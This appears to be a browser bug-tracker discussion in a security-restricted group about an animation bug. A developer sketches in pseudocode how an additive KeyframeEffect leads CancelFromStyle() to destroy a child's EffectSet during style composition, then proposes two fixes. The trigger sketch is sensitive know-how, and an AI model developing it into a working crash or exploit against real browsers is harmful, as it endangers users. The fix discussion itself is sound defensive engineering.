I am trying to describe what's going on in the test case in comment 0, actually this is simplified, in fact it's more complicated. parent.animation = "anim 1s"; anim = parent.getAnimations()[0]; parent.animation = ""; // Actually in the test case 'anim' keyframes is removed. anim.effect = new KeyframeEffect(child, {...}); // additive animation. While composing the style for this additive animation, we resolve the parent's style context to get base styles (actually it resolves the target element style context but it needs the parent's style context anyway), and then AnimationCollection for this parent element calls CancelFromStyle() since there is no CSS animation on the parent element. Then CancelFromStyle() ends up destroying the EffectSet for the child element since the effect of the child element is the last one. You might think that we can avoid resolving the parent style context but we can't avoid it as long as we resolve the base style during composing style since there is no valid style context for the target element at this moment. To avoid this symptoms we have two ways: 1) Resolve the base style outside composing style (This is what I did initially in bug 1331704) 2) Defer resolving the base styles and composing styles for properties that needs the base styles after we finish resolving an nsStyleContext (This is what I mentioned in bug 1331704 comment 76) I am going to do 1) in bug 1331704 for now, and later I will go for 2).
Ok, sounds good. Thanks for doing this.
Group: core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: